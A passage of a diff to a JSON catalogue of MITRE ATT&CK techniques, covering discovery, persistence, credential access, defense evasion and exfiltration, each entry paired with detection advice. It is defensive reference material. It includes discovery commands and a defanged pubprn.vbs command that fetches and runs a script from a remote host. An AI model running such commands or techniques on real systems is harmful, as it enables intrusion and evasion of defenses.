"mitre-attack:enterprise-attack:persistence" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44" + }, + { + "description": "Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\n===Windows===\n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder)\n\nNet can be used to query a remote system for available shared drives using the net view \\\\remotesystem command. It can also be used to query shared drives on the local system using net share.\n\nAdversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement.\n\n===Mac===\n\nOn Mac, locally mounted shares can be viewed with the df -aH command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: macOS, Windows\n\nData Sources: Process Monitoring, Process command-line parameters, Network protocol analysis, Process use of network\n\nPermissions Required: User", + "value": "Network Share Discovery - T1135", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1135", + "https://en.wikipedia.org/wiki/Shared%20resource", + "https://technet.microsoft.com/library/cc770880.aspx" + ], + "external_id": "T1135", + "kill_chain": [ + "mitre-attack:enterprise-attack:discovery" + ], + "mitre_data_sources": [ + "Process Monitoring", + "Process command-line parameters", + "Network protocol analysis", + "Process use of network" + ], + "mitre_platforms": [ + "macOS", + "Windows" + ] + }, + "uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f" + }, + { + "description": "Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts. (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)\n\nDetection: Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns)\n\nPlatforms: Windows\n\nData Sources: WMI Objects\n\nPermissions Required: Administrator, SYSTEM", + "value": "Windows Management Instrumentation Event Subscription - T1084", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1084", + "https://www.secureworks.com/blog/wmi-persistence", + "https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf", + "https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf", + "https://technet.microsoft.com/en-us/sysinternals/bb963902" + ], + "external_id": "T1084", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "WMI Objects" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "e906ae4d-1d3a-4675-be23-22f7311c0da4" + }, + { + "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.\n\nDetection: Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Anti-virus, File monitoring, Services, Windows Registry, Process command-line parameters\n\nDefense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems, Signature-based detection, Log analysis", + "value": "Disabling Security Tools - T1089", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1089" + ], + "external_id": "T1089", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_data_sources": [ + "API monitoring", + "Anti-virus", + "File monitoring", + "Services", + "Windows Registry", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows\n\nPermissions Required: User, Administrator, SYSTEM", + "value": "Peripheral Device Discovery - T1120", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1120" + ], + "external_id": "T1120", + "kill_chain": [ + "mitre-attack:enterprise-attack:discovery" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643" + }, + { + "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.\n\nDetection: Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used.\n\nIf the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nRequires Network: No", + "value": "Data Compressed - T1002", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1002", + "https://en.wikipedia.org/wiki/List%20of%20file%20signatures" + ], + "external_id": "T1002", + "kill_chain": [ + "mitre-attack:enterprise-attack:exfiltration" + ], + "mitre_data_sources": [ + "File monitoring", + "Binary file metadata", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "description": "Adversaries may attempt to get a listing of local system or domain accounts. \n\n===Windows===\n\nExample commands that can acquire this information are net user, net group , and net localgroup using the Net utility or through use of dsquery. If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, System Owner/User Discovery may apply.\n\n===Mac===\n\nOn Mac, groups can be enumerated through the groups and id commands. In mac specifically, dscl . list /Groups and dscacheutil -q group can also be used to enumerate groups and users.\n\n===Linux===\n\nOn Linux, local users can be enumerated through the use of the /etc/passwd file which is world readable. In mac, this same file is only used in single-user mode in addition to the /etc/master.passwd file.\n\nAlso, groups can be enumerated through the groups and id commands. In mac specifically, dscl . list /Groups and dscacheutil -q group can also be used to enumerate groups and users.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User\n\nContributors: Travis Smith, Tripwire", + "value": "Account Discovery - T1087", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1087" + ], + "external_id": "T1087", + "kill_chain": [ + "mitre-attack:enterprise-attack:discovery" + ], + "mitre_data_sources": [ + "API monitoring", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "description": "Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)\n\nDetection: Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.\n\nPlatforms: Windows\n\nData Sources: Authentication logs\n\nSystem Requirements: Requires Microsoft Windows as target system\n\nContributors: Travis Smith, Tripwire", + "value": "Pass the Hash - T1075", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1075", + "http://www.nsa.gov/ia/%20files/app/spotting%20the%20adversary%20with%20windows%20event%20log%20monitoring.pdf" + ], + "external_id": "T1075", + "kill_chain": [ + "mitre-attack:enterprise-attack:lateral-movement" + ], + "mitre_data_sources": [ + "Authentication logs" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff" + }, + { + "description": "The source command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways source /path/to/filename [arguments] or . /path/to/filename [arguments]. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment. \n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.\n\nDetection: Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.\n\nPlatforms: Linux, macOS\n\nData Sources: Process Monitoring, File monitoring, Process command-line parameters\n\nPermissions Required: User\n\nRemote Support: No", + "value": "Source - T1153", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1153" + ], + "external_id": "T1153", + "kill_chain": [ + "mitre-attack:enterprise-attack:execution" + ], + "mitre_data_sources": [ + "Process Monitoring", + "File monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ] + }, + "uuid": "45d84c8b-c1e2-474d-a14d-69b5de0a2bc0" + }, + { + "description": "Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name Masquerading to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)\n\nDetection: Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.\n\nPlatforms: Linux, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User, Administrator, SYSTEM", + "value": "Timestomp - T1099", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1099", + "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html" + ], + "external_id": "T1099", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "Windows" + ] + }, + "uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a" + }, + { + "description": "Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.\n\nCredential Dumping to obtain password hashes may only get an adversary so far when Pass the Hash is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking)\n\nAdversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nA related technique called password spraying uses one password, or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\n\nDetection: It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. \n\nMonitor authentication logs for system and application login failures of Valid Accounts. If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.\n\nAlso monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Authentication logs\n\nPermissions Required: User\n\nContributors: John Strand", + "value": "Brute Force - T1110", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1110", + "https://en.wikipedia.org/wiki/Password%20cracking", + "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance%20Operation%20Cleaver%20Report.pdf", + "http://www.blackhillsinfosec.com/?p=4645" + ], + "external_id": "T1110", + "kill_chain": [ + "mitre-attack:enterprise-attack:credential-access" + ], + "mitre_data_sources": [ + "Authentication logs" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd" + }, + { + "description": "Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Persistence and Execution.\n\nAccess to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples).\n\nThe Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often Valid Accounts are required, along with access to the remote system's Windows Admin Shares for RPC communication.\n\nDetection: Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\n\nMonitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell, which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Bartosz Jerzman, Travis Smith, Tripwire", + "value": "Modify Registry - T1112", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1112", + "https://technet.microsoft.com/en-us/library/cc732643.aspx", + "https://technet.microsoft.com/en-us/library/cc754820.aspx" + ], + "external_id": "T1112", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Windows Registry", + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "description": "Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.\n\nBefore registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.\n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)\n\nDetection: Monitor for change notifications to and from unfamiliar password filters.\n\nNewly installed password filters will not take effect until after a system reboot.\n\nPassword filters will show up as an autorun and loaded DLL in lsass.exe. (Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nPlatforms: Windows\n\nData Sources: DLL monitoring, Windows Registry, Process monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Vincent Le Toux", + "value": "Password Filter DLL - T1174", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1174", + "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html", + "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/" + ], + "external_id": "T1174", + "kill_chain": [ + "mitre-attack:enterprise-attack:credential-access" + ], + "mitre_data_sources": [ + "DLL monitoring", + "Windows Registry", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "b8c5c9dd-a662-479d-9428-ae745872537c" + }, + { + "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.\n\nDetection: It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: User\n\nContributors: Erye Hernandez, Palo Alto Networks", + "value": "Space after Filename - T1151", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1151", + "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/" + ], + "external_id": "T1151", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion", + "mitre-attack:enterprise-attack:execution" + ], + "mitre_data_sources": [ + "File monitoring", + "Process Monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ] + }, + "uuid": "e2907cea-4b43-4ed7-a570-0fdf0fbeea00" + }, + { + "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations.\n\n===Mac===\n\nOn OSX, the native command screencapture is used to capture screenshots.\n\n===Linux===\n\nOn Linux, there is the native command xwd. (Citation: Antiquated Mac Malware)\n\nDetection: Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Process monitoring, File monitoring", + "value": "Screen Capture - T1113", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1113", + "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" + ], + "external_id": "T1113", + "kill_chain": [ + "mitre-attack:enterprise-attack:collection" + ], + "mitre_data_sources": [ + "API monitoring", + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through Network Service Scanning or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services. (Citation: NVD CVE-2014-7169)\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve Exploitation for Privilege Escalation as a result of lateral movement exploitation as well.\n\nDetection: Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Windows Error Reporting, Process Monitoring, File monitoring\n\nPermissions Required: User\n\nSystem Requirements: Unpatched software or otherwise vulnerable target. Depending on the target and goal, the system and exploitable service may need to be remotely accessible from the internal network.", + "value": "Exploitation of Remote Services - T1210", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1210", + "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/", + "https://nvd.nist.gov/vuln/detail/CVE-2017-0176", + "https://nvd.nist.gov/vuln/detail/CVE-2016-6662", + "https://nvd.nist.gov/vuln/detail/CVE-2014-7169" + ], + "external_id": "T1210", + "kill_chain": [ + "mitre-attack:enterprise-attack:lateral-movement" + ], + "mitre_data_sources": [ + "Windows Error Reporting", + "Process Monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ] + }, + "uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82" + }, + { + "description": "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use Software Packing or otherwise modify the file so it has a different signature, and then re-use the malware.\n\nDetection: The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process use of network, Anti-virus, Binary file metadata, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems", + "value": "Indicator Removal from Tools - T1066", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1066" + ], + "external_id": "T1066", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process use of network", + "Anti-virus", + "Binary file metadata", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "00d0b012-8a03-410e-95de-5826bf542de6" + }, + { + "description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access. (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command. For example:\n*HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n*HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n*HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to execute arbitrary commands.\n\nDetection: Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. \n\nUser file association preferences are stored under [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Stefan Kanthak, Travis Smith, Tripwire", + "value": "Change Default File Association - T1042", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1042", + "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs", + "http://msdn.microsoft.com/en-us/library/bb166549.aspx" + ], + "external_id": "T1042", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "Windows Registry", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "68c96494-1a50-403e-8844-69a6af278c68" + }, + { + "description": "Scripts signed with trusted certificates can be used to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application whitelisting solutions that do not account for use of these scripts.\n\nPubPrn.vbs is signed by Microsoft and can be used to proxy execution from a remote site. (Citation: Enigma0x3 PubPrn Bypass) Example command: cscript C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn.vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png\n\nThere are several other signed scripts that may be used in a similar manner. (Citation: GitHub Ultimate AppLocker Bypass List)\n\nDetection: Monitor script processes, such as cscript, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting, Digital Certificate Validation\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Praetorian", + "value": "Signed Script Proxy Execution - T1216", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1216", + "https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/", + "https://github.com/api0cradle/UltimateAppLockerByPassList" + ], + "external_id": "T1216", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion", + "mitre-attack:enterprise-attack:execution" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe" + }, + { + "description": "Adversaries may target user email to collect sensitive information from a target.\n\nFiles containing email data can be acquired from a user's system, such as Outlook storage or cache files .pst and .ost.\n\nAdversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network.\n\nSome adversaries may acquire user credentials and access externally facing webmail applications, such as Outlook Web Access.\n\nDetection: There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\n\nFile access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\n\nMonitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows\n\nData Sources: Authentication logs, File monitoring, Process monitoring, Process use of network", + "value": "Email Collection - T1114", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1114" + ], + "external_id": "T1114", + "kill_chain": [ + "mitre-attack:enterprise-attack:collection" + ], + "mitre_data_sources": [ + "Authentication logs", + "File monitoring", + "Process monitoring", + "Process use of network" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f" + }, + { + "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.\n\n===Windows===\n\nExample commands and utilities that obtain this information include ver, Systeminfo, and dir within cmd for identifying information based on present files and directories.\n\n===Mac===\n\nOn Mac, the systemsetup command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the system_profiler gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User", + "value": "System Information Discovery - T1082", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1082" + ], + "external_id": "T1082", + "kill_chain": [ + "mitre-attack:enterprise-attack:discovery" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for 